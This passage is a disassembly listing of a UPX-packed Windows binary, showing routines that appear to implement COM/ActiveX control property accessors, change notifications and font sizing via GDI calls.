mov ebp, esp
mov ecx, [ebp+arg_0]
mov eax, [ecx+80h]
mov ecx, [ecx+34h]
shr eax, 5
and eax, 1
mov [ebp+arg_0], eax
test ecx, ecx
jz short loc_402FA9
mov edx, [ecx]
lea eax, [ebp+arg_0]
push eax
push [ebp+arg_10]
mov eax, [ebp+arg_8]
push [ebp+arg_C]
push dword ptr [eax+4]
push dword ptr [eax]
push [ebp+arg_4]
push ecx
call dword ptr [edx+1Ch]
mov eax, [ebp+arg_0]
loc_402FA9: ; CODE XREF: sub_402F6F+1Aj
pop ebp
retn 14h
sub_402F6F endp
; =============== S U B R O U T I N E =======================================
sub_402FAD proc near ; DATA XREF: UPX0:00424194o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jnz short loc_402FBC
mov eax, 80004003h
jmp short locret_402FED
; ---------------------------------------------------------------------------
loc_402FBC: ; CODE XREF: sub_402FAD+6j
mov ecx, [esp+arg_0]
mov edx, [ecx+34h]
test edx, edx
jz short loc_402FD9
mov ecx, [edx]
push esi
lea esi, [eax+8]
push esi
add eax, 4
push eax
push edx
call dword ptr [ecx+20h]
pop esi
jmp short locret_402FED
; ---------------------------------------------------------------------------
loc_402FD9: ; CODE XREF: sub_402FAD+18j
mov edx, [ecx+98h]
mov [eax+4], edx
mov ecx, [ecx+9Ch]
mov [eax+8], ecx
xor eax, eax
locret_402FED: ; CODE XREF: sub_402FAD+Dj
; sub_402FAD+2Aj
retn 8
sub_402FAD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402FF0 proc near ; DATA XREF: UPX0:00424198o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
mov eax, [ecx+80h]
mov ecx, [ecx+34h]
shr eax, 6
and eax, 1
mov [ebp+arg_0], eax
test ecx, ecx
jz short loc_403028
mov eax, [ecx]
lea edx, [ebp+arg_0]
push edx
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push ecx
call dword ptr [eax+24h]
mov eax, [ebp+arg_0]
loc_403028: ; CODE XREF: sub_402FF0+1Aj
pop ebp
retn 18h
sub_402FF0 endp
; =============== S U B R O U T I N E =======================================
sub_40302C proc near ; DATA XREF: UPX0:0042419Co
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
mov ecx, [ecx+34h]
xor eax, eax
test ecx, ecx
jz short locret_40303F
mov eax, [ecx]
push ecx
call dword ptr [eax+28h]
locret_40303F: ; CODE XREF: sub_40302C+Bj
retn 4
sub_40302C endp
; =============== S U B R O U T I N E =======================================
sub_403042 proc near ; DATA XREF: UPX0:004241A0o
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
mov ecx, [ecx+34h]
xor eax, eax
test ecx, ecx
jz short locret_403055
mov eax, [ecx]
push ecx
call dword ptr [eax+2Ch]
locret_403055: ; CODE XREF: sub_403042+Bj
retn 4
sub_403042 endp
; =============== S U B R O U T I N E =======================================
sub_403058 proc near ; DATA XREF: UPX0:004241A4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
mov ecx, [ecx+34h]
xor eax, eax
test ecx, ecx
jz short locret_403074
mov edx, [esp+arg_4]
mov eax, [ecx]
neg edx
sbb edx, edx
push edx
push ecx
call dword ptr [eax+30h]
locret_403074: ; CODE XREF: sub_403058+Bj
retn 8
sub_403058 endp
; =============== S U B R O U T I N E =======================================
sub_403077 proc near ; DATA XREF: UPX0:004241A8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
mov ecx, [ecx+34h]
xor eax, eax
test ecx, ecx
jz short locret_403093
mov edx, [esp+arg_4]
mov eax, [ecx]
neg edx
sbb edx, edx
push edx
push ecx
call dword ptr [eax+34h]
locret_403093: ; CODE XREF: sub_403077+Bj
retn 8
sub_403077 endp
; =============== S U B R O U T I N E =======================================
sub_403096 proc near ; DATA XREF: UPX0:004241ACo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
mov ecx, [ecx+34h]
xor eax, eax
test ecx, ecx
jz short locret_4030B2
mov edx, [esp+arg_4]
mov eax, [ecx]
neg edx
sbb edx, edx
push edx
push ecx
call dword ptr [eax+38h]
locret_4030B2: ; CODE XREF: sub_403096+Bj
retn 8
sub_403096 endp
; =============== S U B R O U T I N E =======================================
sub_4030B5 proc near ; DATA XREF: UPX0:004241B0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
mov ecx, [ecx+34h]
xor eax, eax
test ecx, ecx
jz short locret_4030E4
mov eax, [esp+arg_C]
mov edx, [ecx]
neg eax
sbb eax, eax
push eax
push [esp+4+arg_8]
mov eax, [esp+8+arg_4]
push dword ptr [eax+0Ch]
push dword ptr [eax+8]
push dword ptr [eax+4]
push dword ptr [eax]
push ecx
call dword ptr [edx+3Ch]
locret_4030E4: ; CODE XREF: sub_4030B5+Bj
retn 10h
sub_4030B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4030E7 proc near ; DATA XREF: UPX0:004241B4o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push edi
mov edi, [eax+34h]
mov [ebp+var_4], 1
test edi, edi
jz short loc_403130
push esi
push [ebp+arg_8]
lea esi, [ebp+arg_0]
call sub_40120D
mov ecx, [edi]
lea edx, [ebp+var_4]
push edx
push [ebp+arg_C]
push dword ptr [eax]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push dword ptr [eax+8]
push dword ptr [eax+4]
push dword ptr [eax]
push edi
call dword ptr [ecx+40h]
push [ebp+arg_0]
call dword_41D25C
pop esi
loc_403130: ; CODE XREF: sub_4030E7+14j
mov eax, [ebp+var_4]
pop edi
leave
retn 10h
sub_4030E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403138 proc near ; DATA XREF: UPX0:004241B8o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
inc ebx
test edi, edi
jnz short loc_403151
mov eax, 80004003h
jmp loc_4031D3
; ---------------------------------------------------------------------------
loc_403151: ; CODE XREF: sub_403138+Dj
and dword ptr [edi], 0
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+34h]
test eax, eax
jz short loc_403179
push [ebp+arg_8]
mov ecx, [eax]
push edi
push eax
call dword ptr [ecx+44h]
mov ebx, eax
test ebx, ebx
jl short loc_403174
cmp dword ptr [edi], 0
jnz short loc_4031D0
loc_403174: ; CODE XREF: sub_403138+35j
xor ebx, ebx
inc ebx
jmp short loc_4031D0
; ---------------------------------------------------------------------------
loc_403179: ; CODE XREF: sub_403138+25j
push dword ptr [esi+0A0h]
call dword_41D238
test eax, eax
jz short loc_4031D0
push dword ptr [esi+0A0h]
call dword_41D258
add eax, 2
push eax
mov [ebp+arg_4], eax
call dword_41D3BC
mov ebx, eax
test ebx, ebx
jnz short loc_4031AF
mov eax, 8007000Eh
jmp short loc_4031D2
; ---------------------------------------------------------------------------
loc_4031AF: ; CODE XREF: sub_403138+6Ej
push dword ptr [esi+0A0h]
push [ebp+arg_4]
push ebx
call sub_4010AC
add esp, 0Ch
test al, al
jnz short loc_4031CC
mov eax, 80004005h
jmp short loc_4031D2
; ---------------------------------------------------------------------------
loc_4031CC: ; CODE XREF: sub_403138+8Bj
mov [edi], ebx
xor ebx, ebx
loc_4031D0: ; CODE XREF: sub_403138+3Aj
; sub_403138+3Fj ...
mov eax, ebx
loc_4031D2: ; CODE XREF: sub_403138+75j
; sub_403138+92j
pop esi
loc_4031D3: ; CODE XREF: sub_403138+14j
pop edi
pop ebx
pop ebp
retn 0Ch
sub_403138 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4031D9 proc near ; DATA XREF: UPX0:004241BCo
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_8]
test esi, esi
jnz short loc_4031EB
mov eax, 80004003h
jmp short loc_403241
; ---------------------------------------------------------------------------
loc_4031EB: ; CODE XREF: sub_4031D9+9j
and dword ptr [esi], 0
mov eax, [ebp+arg_0]
mov eax, [eax+34h]
push edi
mov edi, 80004001h
test eax, eax
jz short loc_40323E
and [ebp+arg_8], 0
mov ecx, [eax]
lea edx, [ebp+arg_8]
push edx
push [ebp+arg_4]
push eax
call dword ptr [ecx+48h]
mov edi, eax
mov eax, [ebp+arg_8]
test eax, eax
jz short loc_403228
mov ecx, [eax]
push esi
push offset dword_4242E4
push eax
call dword ptr [ecx]
mov edi, eax
mov eax, [ebp+arg_8]
loc_403228: ; CODE XREF: sub_4031D9+3Dj
test edi, edi
jl short loc_403231
cmp dword ptr [esi], 0
jnz short loc_403234
loc_403231: ; CODE XREF: sub_4031D9+51j
xor edi, edi
inc edi
loc_403234: ; CODE XREF: sub_4031D9+56j
test eax, eax
jz short loc_40323E
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_40323E: ; CODE XREF: sub_4031D9+23j
; sub_4031D9+5Dj
mov eax, edi
pop edi
loc_403241: ; CODE XREF: sub_4031D9+10j
pop esi
pop ebp
retn 0Ch
sub_4031D9 endp
; =============== S U B R O U T I N E =======================================
sub_403246 proc near ; DATA XREF: UPX0:004241C0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
test esi, esi
jnz short loc_403256
mov eax, 80004003h
jmp short loc_40328F
; ---------------------------------------------------------------------------
loc_403256: ; CODE XREF: sub_403246+7j
and dword ptr [esi], 0
mov eax, [esp+4+arg_0]
mov ecx, [eax+34h]
test ecx, ecx
jz short loc_40327B
mov eax, [ecx]
push esi
push ecx
call dword ptr [eax+4Ch]
test eax, eax
jl short loc_403274
cmp dword ptr [esi], 0
jnz short loc_40328F
loc_403274: ; CODE XREF: sub_403246+27j
mov eax, 80004002h
jmp short loc_40328F
; ---------------------------------------------------------------------------
loc_40327B: ; CODE XREF: sub_403246+1Cj
mov ecx, [eax+30h]
mov [esi], ecx
mov eax, [eax+30h]
test eax, eax
jz short loc_40328D
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_40328D: ; CODE XREF: sub_403246+3Fj
xor eax, eax
loc_40328F: ; CODE XREF: sub_403246+Ej
; sub_403246+2Cj ...
pop esi
retn 8
sub_403246 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403293 proc near ; DATA XREF: UPX0:004241C4o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, [ebp+arg_C]
test ebx, ebx
jnz short loc_4032A9
mov eax, 80004003h
jmp loc_403348
; ---------------------------------------------------------------------------
loc_4032A9: ; CODE XREF: sub_403293+Aj
and dword ptr [ebx], 0
mov eax, [ebp+arg_0]
push esi
push edi
mov edi, [eax+34h]
mov [ebp+var_4], 1
test edi, edi
jz loc_403343
push [ebp+arg_8]
and [ebp+arg_C], 0
lea esi, [ebp+arg_0]
call sub_4011E3
mov eax, [eax]
mov ecx, [edi]
lea edx, [ebp+arg_C]
push edx
push eax
push [ebp+arg_4]
push edi
call dword ptr [ecx+50h]
push [ebp+arg_0]
mov esi, dword_41D25C
mov [ebp+var_4], eax
call esi ; dword_41D25C
cmp [ebp+var_4], 0
jl short loc_403337
push [ebp+arg_C]
mov edi, dword_41D238
call edi ; dword_41D238
test eax, eax
jz short loc_403337
push [ebp+arg_C]
call edi ; dword_41D238
lea edi, [eax+eax+2]
push edi
call dword_41D3BC
mov [ebx], eax
test eax, eax
jnz short loc_403327
push [ebp+arg_C]
call esi ; dword_41D25C
mov eax, 8007000Eh
jmp short loc_403346
; ---------------------------------------------------------------------------
loc_403327: ; CODE XREF: sub_403293+86j
push edi
push [ebp+arg_C]
push edi
push eax
call sub_401125
; ---------------------------------------------------------------------------
add esp, 10h
jmp short loc_40333E
; ---------------------------------------------------------------------------
loc_403337: ; CODE XREF: sub_403293+61j
; sub_403293+70j
mov [ebp+var_4], 1
loc_40333E: ; CODE XREF: sub_403293+A2j
push [ebp+arg_C]
call esi ; dword_41D25C
loc_403343: ; CODE XREF: sub_403293+2Aj
mov eax, [ebp+var_4]
loc_403346: ; CODE XREF: sub_403293+92j
pop edi
pop esi
loc_403348: ; CODE XREF: sub_403293+11j
pop ebx
leave
retn 10h
sub_403293 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40334D proc near ; DATA XREF: UPX0:004241C8o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_8]
test edi, edi
jnz short loc_40335F
mov eax, 80004003h
jmp short loc_4033B7
; ---------------------------------------------------------------------------
loc_40335F: ; CODE XREF: sub_40334D+9j
and dword ptr [edi], 0
push ebx
push esi
mov esi, [ebp+arg_0]
mov eax, [esi+34h]
xor ebx, ebx
inc ebx
test eax, eax
jz short loc_4033B3
and [ebp+arg_8], 0
mov ecx, [eax]
lea edx, [ebp+arg_8]
push edx
push [ebp+arg_4]
push eax
call dword ptr [ecx+54h]
cmp [ebp+arg_8], 0
mov ebx, eax
jz short loc_40339A
push edi
lea eax, [esi-24h]
mov ecx, [eax]
push offset dword_4242F4
push eax
call dword ptr [ecx]
mov ebx, eax
loc_40339A: ; CODE XREF: sub_40334D+3Bj
test ebx, ebx
jl short loc_4033A3
cmp dword ptr [edi], 0
jnz short loc_4033A6
loc_4033A3: ; CODE XREF: sub_40334D+4Fj
xor ebx, ebx
inc ebx
loc_4033A6: ; CODE XREF: sub_40334D+54j
mov eax, [ebp+arg_8]
test eax, eax
jz short loc_4033B3
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_4033B3: ; CODE XREF: sub_40334D+22j
; sub_40334D+5Ej
pop esi
mov eax, ebx
pop ebx
loc_4033B7: ; CODE XREF: sub_40334D+10j
pop edi
pop ebp
retn 0Ch
sub_40334D endp
; =============== S U B R O U T I N E =======================================
sub_4033BC proc near ; CODE XREF: sub_403418+69p
; sub_4034C9+18p ...
push 0
mov eax, offset loc_41BF38
call sub_40C46D
mov eax, [ebp+8]
mov eax, [eax+60h]
xor ecx, ecx
xor esi, esi
mov [ebp+8], ecx
test eax, eax
jz short loc_4033EA
mov ecx, [eax]
lea edx, [ebp+8]
push edx
push offset dword_424304
push eax
call dword ptr [ecx]
mov ecx, [ebp+8]
loc_4033EA: ; CODE XREF: sub_4033BC+1Bj
and dword ptr [ebp-4], 0
test ecx, ecx
jz short loc_403400
push dword ptr [ebp+0Ch]
mov eax, [ecx]
push ecx
call dword ptr [eax+14h]
mov ecx, [ebp+8]
mov esi, eax
loc_403400: ; CODE XREF: sub_4033BC+34j
or dword ptr [ebp-4], 0FFFFFFFFh
test ecx, ecx
jz short loc_40340E
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
loc_40340E: ; CODE XREF: sub_4033BC+4Aj
mov eax, esi
call sub_40C50C
retn 8
sub_4033BC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403418 proc near ; DATA XREF: UPX0:004241ECo
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
push esi
push [ebp+arg_20]
mov esi, [ebp+arg_0]
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_404E7C
cmp eax, 80020003h
jz short loc_40344B
cmp eax, 8002802Bh
jnz short loc_403486
loc_40344B: ; CODE XREF: sub_403418+2Aj
mov ecx, [esi+8]
test ecx, ecx
jz short loc_403486
push [ebp+arg_20]
mov eax, [ecx]
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push ecx
call dword ptr [eax+18h]
test eax, eax
jl short loc_403486
test byte ptr [ebp+arg_10], 4
jz short loc_403486
push [ebp+arg_4]
add esi, 0FFFFFFB4h
push esi
call sub_4033BC
loc_403486: ; CODE XREF: sub_403418+31j
; sub_403418+38j ...
pop esi
pop ebp
retn 24h
sub_403418 endp
; =============== S U B R O U T I N E =======================================
sub_40348B proc near ; DATA XREF: UPX0:004241F0o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
xor ecx, [eax+7Ch]
and ecx, 1
xor [eax+7Ch], ecx
xor eax, eax
retn 8
sub_40348B endp
; =============== S U B R O U T I N E =======================================
sub_4034A1 proc near ; DATA XREF: UPX0:004241F4o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jnz short loc_4034B0
mov eax, 80004003h
jmp short locret_4034C6
; ---------------------------------------------------------------------------
loc_4034B0: ; CODE XREF: sub_4034A1+6j
mov ecx, [esp+arg_0]
mov ecx, [ecx+7Ch]
and cl, 1
movzx ecx, cl
neg ecx
sbb ecx, ecx
mov [eax], cx
xor eax, eax
locret_4034C6: ; CODE XREF: sub_4034A1+Dj
retn 8
sub_4034A1 endp
; =============== S U B R O U T I N E =======================================
sub_4034C9 proc near ; DATA XREF: UPX0:004241F8o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov [esi+80h], eax
push 0FFFFFD43h
lea eax, [esi-4Ch]
push eax
call sub_4033BC
push 0
lea eax, [esi-20h]
mov ecx, [eax]
push 0
push eax
call dword ptr [ecx+64h]
xor eax, eax
pop esi
retn 8
sub_4034C9 endp
; =============== S U B R O U T I N E =======================================
sub_4034F9 proc near ; DATA XREF: UPX0:004241FCo
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jnz short loc_403508
mov eax, 80004003h
jmp short locret_403516
; ---------------------------------------------------------------------------
loc_403508: ; CODE XREF: sub_4034F9+6j
mov ecx, [esp+arg_0]
mov ecx, [ecx+80h]
mov [eax], ecx
xor eax, eax
locret_403516: ; CODE XREF: sub_4034F9+Dj
retn 8
sub_4034F9 endp
; =============== S U B R O U T I N E =======================================
sub_403519 proc near ; DATA XREF: UPX0:00424200o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
mov [eax+84h], ecx
push 0FFFFFD40h
add eax, 0FFFFFFB4h
push eax
call sub_4033BC
xor eax, eax
retn 8
sub_403519 endp
; =============== S U B R O U T I N E =======================================
sub_40353A proc near ; DATA XREF: UPX0:00424204o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jnz short loc_403549
mov eax, 80004003h
jmp short locret_403557
; ---------------------------------------------------------------------------
loc_403549: ; CODE XREF: sub_40353A+6j
mov ecx, [esp+arg_0]
mov ecx, [ecx+84h]
mov [eax], ecx
xor eax, eax
locret_403557: ; CODE XREF: sub_40353A+Dj
retn 8
sub_40353A endp
; =============== S U B R O U T I N E =======================================
sub_40355A proc near ; DATA XREF: UPX0:00424208o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
mov [eax+88h], ecx
push 0FFFFFD3Fh
add eax, 0FFFFFFB4h
push eax
call sub_4033BC
xor eax, eax
retn 8
sub_40355A endp
; =============== S U B R O U T I N E =======================================
sub_40357B proc near ; DATA XREF: UPX0:0042420Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jnz short loc_40358A
mov eax, 80004003h
jmp short locret_403598
; ---------------------------------------------------------------------------
loc_40358A: ; CODE XREF: sub_40357B+6j
mov ecx, [esp+arg_0]
mov ecx, [ecx+88h]
mov [eax], ecx
xor eax, eax
locret_403598: ; CODE XREF: sub_40357B+Dj
retn 8
sub_40357B endp
; =============== S U B R O U T I N E =======================================
sub_40359B proc near ; DATA XREF: UPX0:00424210o
arg_0 = dword ptr 4
arg_4 = word ptr 8
movsx ecx, [esp+arg_4]
mov eax, [esp+arg_0]
add ecx, ecx
xor ecx, [eax+7Ch]
push 0FFFFFD3Bh
and ecx, 2
xor [eax+7Ch], ecx
add eax, 0FFFFFFB4h
push eax
call sub_4033BC
xor eax, eax
retn 8
sub_40359B endp
; =============== S U B R O U T I N E =======================================
sub_4035C2 proc near ; DATA XREF: UPX0:00424214o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jnz short loc_4035D1
mov eax, 80004003h
jmp short locret_4035E7
; ---------------------------------------------------------------------------
loc_4035D1: ; CODE XREF: sub_4035C2+6j
mov ecx, [esp+arg_0]
mov ecx, [ecx+7Ch]
and cl, 2
movzx ecx, cl
neg ecx
sbb ecx, ecx
mov [eax], cx
xor eax, eax
locret_4035E7: ; CODE XREF: sub_4035C2+Dj
retn 8
sub_4035C2 endp
; =============== S U B R O U T I N E =======================================
sub_4035EA proc near ; DATA XREF: UPX0:00424218o
arg_0 = dword ptr 4
arg_4 = word ptr 8
movsx ecx, [esp+arg_4]
mov eax, [esp+arg_0]
shl ecx, 2
xor ecx, [eax+7Ch]
push 0FFFFFD37h
and ecx, 4
xor [eax+7Ch], ecx
add eax, 0FFFFFFB4h
push eax
call sub_4033BC
xor eax, eax
retn 8
sub_4035EA endp
; =============== S U B R O U T I N E =======================================
sub_403612 proc near ; DATA XREF: UPX0:0042421Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jnz short loc_403621
mov eax, 80004003h
jmp short locret_403637
; ---------------------------------------------------------------------------
loc_403621: ; CODE XREF: sub_403612+6j
mov ecx, [esp+arg_0]
mov ecx, [ecx+7Ch]
and cl, 4
movzx ecx, cl
neg ecx
sbb ecx, ecx
mov [eax], cx
xor eax, eax
locret_403637: ; CODE XREF: sub_403612+Dj
retn 8
sub_403612 endp
; =============== S U B R O U T I N E =======================================
sub_40363A proc near ; DATA XREF: UPX0:00424220o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
push esi
push edi
mov edi, [esp+0Ch+arg_4]
lea esi, [ebx+8Ch]
cmp [esi], edi
jz short loc_403654
call sub_4011B4
loc_403654: ; CODE XREF: sub_40363A+13j
push 0FFFFFD41h
add ebx, 0FFFFFFB4h
push ebx
call sub_4033BC
pop edi
pop esi
xor eax, eax
pop ebx
retn 8
sub_40363A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=70h
sub_40366A proc near ; DATA XREF: UPX0:00424224o
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = word ptr -7Ch
var_7A = word ptr -7Ah
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_50 = word ptr -50h
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = byte ptr -4Ah
var_49 = byte ptr -49h
var_44 = byte ptr -44h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
lea ebp, [esp-70h]
sub esp, 8Ch
mov eax, dword_42A034
xor eax, ebp
mov [ebp+70h+var_4], eax
mov eax, [ebp+70h+arg_4]
push ebx
mov ebx, [ebp+70h+arg_0]
mov [ebp+70h+var_6C], eax
test eax, eax
jnz short loc_403697
mov eax, 80004003h
jmp loc_4037AD
; ---------------------------------------------------------------------------
loc_403697: ; CODE XREF: sub_40366A+21j
and dword ptr [eax], 0
push esi
lea esi, [ebx+8Ch]
cmp dword ptr [esi], 0
push edi
jnz loc_403799
call off_42A000
mov edi, dword_41D04C
push 11h
call edi ; dword_41D04C
test eax, eax
jnz short loc_4036CB
push 0Dh
call edi ; dword_41D04C
test eax, eax
jz loc_403755
loc_4036CB: ; CODE XREF: sub_40366A+53j
lea ecx, [ebp+70h+var_60]
push ecx
push 5Ch
push eax
call dword_41D048 ; GetObjectW
lea eax, [ebp+70h+var_44]
mov [ebp+70h+var_88], eax
mov ax, [ebp+70h+var_50]
mov [ebp+70h+var_7C], ax
movzx ax, [ebp+70h+var_49]
mov [ebp+70h+var_7A], ax
movzx eax, [ebp+70h+var_4C]
mov [ebp+70h+var_78], eax
movzx eax, [ebp+70h+var_4B]
mov [ebp+70h+var_74], eax
movzx eax, [ebp+70h+var_4A]
mov [ebp+70h+var_70], eax
mov eax, [ebp+70h+var_60]
mov [ebp+70h+var_8C], 20h
mov [ebp+70h+var_68], eax
test eax, eax
jge short loc_40371A
neg eax
mov [ebp+70h+var_68], eax
loc_40371A: ; CODE XREF: sub_40366A+A9j
mov eax, [ebx-48h]
test eax, eax
jz short loc_403740
push eax
call dword_41D2DC ; GetDC
mov edi, eax
test edi, edi
jz short loc_403755
push 5Ah
push edi
call dword_41D034 ; GetDeviceCaps
push edi
push dword ptr [ebx-48h]
mov [ebp+70h+var_64], eax
jmp short loc_40376C
; ---------------------------------------------------------------------------
loc_403740: ; CODE XREF: sub_40366A+B5j
mov edi, dword_41D2AC
call edi ; dword_41D2AC
push eax
call dword_41D2DC ; GetDC
mov ebx, eax
test ebx, ebx
jnz short loc_40375C
loc_403755: ; CODE XREF: sub_40366A+5Bj
; sub_40366A+C2j
call sub_40119F
jmp short loc_4037AB
; ---------------------------------------------------------------------------
loc_40375C: ; CODE XREF: sub_40366A+E9j
push 5Ah
push ebx
call dword_41D034 ; GetDeviceCaps
push ebx
mov [ebp+70h+var_64], eax
call edi ; dword_41D2AC
push eax
loc_40376C: ; CODE XREF: sub_40366A+D4j
call dword_41D2BC ; ReleaseDC
mov eax, [ebp+70h+var_68]
imul eax, 0AFC80h
cdq
idiv [ebp+70h+var_64]
and [ebp+70h+var_80], 0
push esi
push offset dword_424314
mov [ebp+70h+var_84], eax
lea eax, [ebp+70h+var_8C]
push eax
call dword_41D254
mov eax, [ebp+70h+var_6C]
loc_403799: ; CODE XREF: sub_40366A+3Bj
mov ecx, [esi]
mov [eax], ecx
mov esi, [esi]
test esi, esi
jz short loc_4037A9
mov eax, [esi]
push esi
call dword ptr [eax+4]
loc_4037A9: ; CODE XREF: sub_40366A+137j
xor eax, eax
loc_4037AB: ; CODE XREF: sub_40366A+F0j
pop edi
pop esi
loc_4037AD: ; CODE XREF: sub_40366A+28j
mov ecx, [ebp+70h+var_4]
xor ecx, ebp
pop ebx
call sub_40AC1C
add ebp, 70h
leave
retn 8
sub_40366A endp
; =============== S U B R O U T I N E =======================================
sub_4037BF proc near ; DATA XREF: UPX0:00424228o
arg_0 = dword ptr 4
arg_4 = word ptr 8
movsx ecx, [esp+arg_4]
mov eax, [esp+arg_0]
shl ecx, 3
xor ecx, [eax+7Ch]
push 0FFFFFD3Eh
and ecx, 8
xor [eax+7Ch], ecx
add eax, 0FFFFFFB4h
push eax
call sub_4033BC
xor eax, eax
retn 8
sub_4037BF endp
; =============== S U B R O U T I N E =======================================
sub_4037E7 proc near ; DATA XREF: UPX0:0042422Co
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jnz short loc_4037F6
mov eax, 80004003h
jmp short locret_40380C
; ---------------------------------------------------------------------------
loc_4037F6: ; CODE XREF: sub_4037E7+6j
mov ecx, [esp+arg_0]
mov ecx, [ecx+7Ch]
and cl, 8
movzx ecx, cl
neg ecx
sbb ecx, ecx
mov [eax], cx
xor eax, eax
locret_40380C: ; CODE XREF: sub_4037E7+Dj
retn 8
sub_4037E7 endp
; =============== S U B R O U T I N E =======================================
sub_40380F proc near ; DATA XREF: UPX0:00424230o
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
xor eax, eax
mov [ecx], ax
retn 8
sub_40380F endp
; =============== S U B R O U T I N E =======================================
sub_40381B proc near ; DATA XREF: UPX0:00424234o
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
test eax, eax
jnz short loc_40382A
mov eax, 80004003h
jmp short locret_403831
; ---------------------------------------------------------------------------
loc_40382A: ; CODE XREF: sub_40381B+6j
xor ecx, ecx
mov [eax], cx
xor eax, eax
locret_403831: ; CODE XREF: sub_40381B+Dj
retn 8
sub_40381B endp
; =============== S U B R O U T I N E =======================================
sub_403834 proc near ; DATA XREF: UPX0:00424238o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
mov [eax+94h], ecx
push 0FFFFFFFFh
add eax, 0FFFFFFB4h
push eax
call sub_4033BC
xor eax, eax
retn 8
sub_403834 endp
; =============== S U B R O U T I N E =======================================
sub_403852 proc near ; DATA XREF: UPX0:0042423Co
